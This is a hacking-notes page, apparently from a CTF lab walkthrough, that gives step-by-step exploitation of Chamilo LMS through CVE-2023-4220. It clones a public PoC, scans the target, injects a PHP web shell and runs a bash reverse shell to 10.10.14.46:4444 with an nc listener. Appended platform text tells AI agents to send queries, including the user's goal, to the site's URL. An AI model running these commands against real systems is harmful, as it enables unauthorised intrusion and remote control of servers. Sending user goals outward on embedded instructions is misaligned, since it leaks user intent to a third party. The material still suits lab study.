> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/chamilo-cms-exploitation.md).
# Chamilo
Chamilo LMS exploitation notes for CVE-2023-4220 unauthenticated file upload RCE, PHP web shell deployment, command execution, and reverse shell access.
## Vulnerability Chamilo /\[CVE-2023-4220]
Chamilo is vulnerable to CVE-2023-4220, which allows remote code execution (RCE). Use the following public proof of concept:
{% embed url="" %}
#### Clone the GitHub repository :
```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```
2. Run a check to confirm whether the target is vulnerable:
```bash
python3 main.py -u http://example.com/chamilo -a scan
```
### Webshell:
If the vulnerability is present, inject a **PHP web shell** into Chamilo:
```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```
Once the web shell is injected, commands can be executed on the target.
### Reverse Shell :
To establish a reverse shell and get access to the machine, run the following command from your terminal:
```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```
Then start a listener on port 4444:
```bash
nc -nlvp 4444
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/cms/chamilo-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)